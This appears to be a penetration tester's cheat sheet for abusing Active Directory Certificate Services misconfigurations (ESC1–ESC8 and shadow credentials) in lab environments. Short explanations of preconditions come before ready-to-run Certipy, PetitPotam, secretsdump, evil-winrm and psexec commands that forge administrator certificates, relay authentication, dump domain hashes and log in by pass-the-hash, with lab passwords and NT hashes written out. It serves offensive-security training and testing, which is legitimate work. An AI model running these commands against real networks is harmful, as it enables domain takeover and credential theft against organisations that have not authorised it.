Exploits

ESC1

In order to abuse this misconfiguration, the following conditions must be met:

• The Enterprise CA grants low-privileged users enrollment rights. The Enterprise CA’s configuration must permit low-privileged users the ability to request certificates. See the “Background — Certificate Enrollment” in the whitepaper paper for more details.

• Manager approval is disabled. This setting necessitates that a user with certificate manager permissions review and approve the requested certificate before the certificate is issued. See the “Background — Certificate Enrollment — Issuance Requirements’ section in the whitepaper paper for more details.

• No authorized signatures are required. This setting requires any CSR to be signed by an existing authorized certificate. See the “Background — Certificate Enrollment — Issuance Requirements” section in the whitepaper for more details.

• An overly permissive certificate template security descriptor grants certificate enrollment rights to low-privileged users. Having certificate enrollment rights allows a low-privileged attacker to request and obtain a certificate based on the template. Enrollment rights are granted via the certificate template AD object’s security descriptor.

• The certificate template defines EKUs that enable authentication. Applicable EKUs include Client Authentication (OID 1.3.6.1.5.5.7.3.2), PKINIT Client Authentication (1.3.6.1.5.2.3.4), Smart Card Logon (OID 1.3.6.1.4.1.311.20.2.2), Any Purpose (OID 2.5.29.37.0), or no EKU (SubCA).

• The certificate template allows requesters to specify a subjectAltName (SAN) in the CSR. If a requester can specify the SAN in a CSR, the requester can request a certificate as anyone (e.g., a domain admin user). The certificate template’s AD object specifies if the requester can specify the SAN in its mspki-certificate-name-flag property. The mspki-certificate-name-flag property is a bitmask and if the CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT flag is present, a requester can specify the SAN. This is surfaced as the “Supply in request” option in the “Subject Name” tab in certtmpl.msc.

# enumerate
certipy find -u [e-mail] -p 'horse' -dc-ip 192.168.56.12

# query the certificate
certipy req -u [e-mail] -p 'horse' -target braavos.essos.local -template ESC1 -ca ESSOS-CA -upn [e-mail]

# authentication with the pfx we request before
certipy auth -pfx administrator.pfx -dc-ip 192.168.56.12

ESC2 & ESC3

ESC2

In order to abuse this misconfiguration, the following conditions must be met:

• The Enterprise CA grants low-privileged users enrollment rights. Details are the same as in ESC1.

• Manager approval is disabled. Details are the same as in ESC1.

• No authorized signatures are required. Details are the same as in ESC1.

• An overly permissive certificate template security descriptor grants certificate enrollment rights to low-privileged users. Details are the same as in ESC1.

• The certificate template defines Any Purpose EKUs or no EKU.

ESC3

In order to abuse this misconfiguration, the following conditions must be met:

• The Enterprise CA grants low-privileged users enrollment rights. Details are the same as in ESC1.

• Manager approval is disabled. Details are the same as in ESC1.

• No authorized signatures are required. Details are the same as in ESC1.

• An overly permissive certificate template security descriptor grants certificate enrollment rights to low-privileged users. Details are the same as in ESC1.

• The certificate template defines the Certificate Request Agent EKU. The Certificate Request Agent OID (1.3.6.1.4.1.311.20.2.1) allows for requesting other certificate templates on behalf of other principals.

• Enrollment agent restrictions are not implemented on the CA.

Exploits

# ESC2
# query the cert
certipy req -u [e-mail] -p 'horse' -target 192.168.56.23 -template ESC2 -ca ESSOS-CA

# query cert with the Certificate Request Agent certificate we get before (-pfx)
certipy req -u [e-mail] -p 'horse' -target 192.168.56.23 -template User -ca ESSOS-CA -on-behalf-of 'essos\administrator' -pfx khal.drogo.pfx

# auth
certipy auth -pfx administrator.pfx -dc-ip 192.168.56.12


# ESC3 & ESC3-CRA
certipy req -u [e-mail] -p 'horse' -target 192.168.56.23 -template ESC3-CRA -ca ESSOS-CA
certipy req -u [e-mail] -p 'horse' -target 192.168.56.23 -template ESC3 -ca ESSOS-CA -on-behalf-of 'essos\administrator' -pfx khal.drogo.pfx
certipy auth -pfx administrator.pfx -username administrator -domain essos.local -dc-ip 192.168.56.12

ESC4

Manager Approval requirement is enabled

An Authorized Signature is required to issue certificate

Subject Name cannot be supplied in request

Set "Encrypting File System" for Certificate Application Policy Extension

But if low privileged user account has WriteDacl for this template, these restrictions can be broken, and attackers can abuse it for domain escalation.

# Take the ESC4 template and change it to be vulnerable to ESC1 technique by using the genericWrite privilege we got.
certipy template -u [e-mail] -p 'horse' -template ESC4 -save-old -debug

# Exploit ESC1 on the modified ESC4 template
certipy req -u [e-mail] -p 'horse' -target braavos.essos.local -template ESC4 -ca ESSOS-CA -upn [e-mail]

#     authentication with the pfx
certipy auth -pfx administrator.pfx -dc-ip 192.168.56.12

# Rollback the template configuration
certipy template -u [e-mail] -p 'horse' -template ESC4 -configuration ESC4.json

ESC6

ESC6 is when the CA specifies the EDITF_ATTRIBUTESUBJECTALTNAME2 flag. This flag allows the enrollee to specify an arbitrary SAN on all certificates despite a certificate template’s configuration.

certipy req -u [e-mail] -p 'horse' -target braavos.essos.local -template User -ca ESSOS-CA -upn [e-mail]

certipy auth -pfx administrator.pfx -dc-ip 192.168.56.12

ESC7

During the engagement, Certify reported the presence of a CA (Certificate Authority) with an ACL that granted the ManageCA and ManageCertificate right to the Authenticated Users group, which in other words means that any domain account has these permissions.

According to SpecterOps’ research this configuration has the following risks:

• ManageCA allows a user to change the CA’s settings, which, among other things, can be used to turn on SAN (Subject Alternative Name) to all the templates managed by the CA. SAN is an extension that allows a user to request a certificate linked to additional identities. This is the key behind the attack ESC1, because if a template has this extension, it is possible to request a valid certificate for any domain account. As we said, turning this on at CA level, makes the extension available to all the CA’s templates even if they don’t have it individually (allowing for the attack ESC6).

• ManageCertificates is less sensitive from a security perspective, but it allows a user to issue certificates that are pending approval.   

certipy ca -ca 'manager-DC01-CA' -add-officer raven -username '[e-mail]' -password 'R4v3nBe5tD3veloP3r!123' 
certipy ca -ca 'manager-DC01-CA' -enable-template SubCA -username '[e-mail]' -password 'R4v3nBe5tD3veloP3r!123' 
certipy req -username '[e-mail]' -password 'R4v3nBe5tD3veloP3r!123' -ca 'manager-DC01-CA' -target manager.htb -template SubCA -upn '[e-mail]' 
certipy ca -ca 'manager-DC01-CA' -issue-request 20 -username '[e-mail]' -password 'R4v3nBe5tD3veloP3r!123' 
certipy req -username '[e-mail]' -password 'R4v3nBe5tD3veloP3r!123' -ca 'manager-DC01-CA' -target manager.htb -retrieve 20

# verify the clock
sudo ntpdate -u manager.htb

# connect as admin !
certipy auth -pfx administrator.pfx  -dc-ip 10.10.11.236

# evilwinrm or psexec.py
evil-winrm -i 10.10.11.236 -u administrator -H '$hash'

psexec.py manager.htb/[e-mail] -hashes $hash -dc-ip 10.10.11.236

ESC8

In summary, if an environment has AD CS installed, along with a vulnerable web enrollment endpoint and at least one certificate template published that allows for domain computer enrollment and client authentication (like the default Machine template), then an attacker can compromise ANY computer with the spooler service running!

certipy

# setup the listener :
certipy relay -ca 192.168.56.23 -template DomainController

# trig the coerce
petitpotam.py 192.168.56.1 meereen.essos.local

# we got the certificate so we can get the NT hash of the DC and also the TGT with the command :
certipy auth -pfx meereen.pfx -dc-ip 192.168.56.12 

# we can launch a DCsync with secretsdump and the ticket we get
export KRB5CCNAME=/workspace/esc8/meereen.ccache
secretsdump -k -no-pass ESSOS.LOCAL/'meereen$'@meereen.essos.local

# or with the hash

secretsdump -hashes ':39d964a01c61c19fe36c71627d7ab56c' -no-pass ESSOS.LOCAL/'meereen$'@meereen.essos.local

Shadow Credentials

Shadow credentials attack consist of using the GenericAll or GenericWrite privilege on a user or computer to set up the attribute msDS-KeyCredentialLink. This attack is very usefull when you got Write on another user.

With genericWrite you can only do:

• Target Kerberoasting : add an SPN to a user, do a kerberoasting, unset the spn. But the user password must be weak to the kerberoasting attack work.

• Set up a logon script : change ldap parameters to set up a logon script. but it implies that the user log to his computer, an smb server or a share to offer the script and setup a script that bypass the security solutions in place)

• Shadow credentials : the attack we want to do, we need a cetificate service on the domain

With GenericAll you can :

• ForceChangePassword : but on a real pentest you don’t want to block a user by changing his password.

So if ADCS is enabled on the domain, and we got write privilege on msDS-KeyCredentialLink, we can do the shadow credentials attack to get a direct access on the user account. And this seems to be the better idea in this case on a real pentest.

certipy shadow auto -u [e-mail] -p 'horse' -account 'viserys.targaryen'

certipy shadow auto -u [e-mail] -hashes 'd96a55df6bef5e0b4d6d956088036097' -account 'jorah.mormont'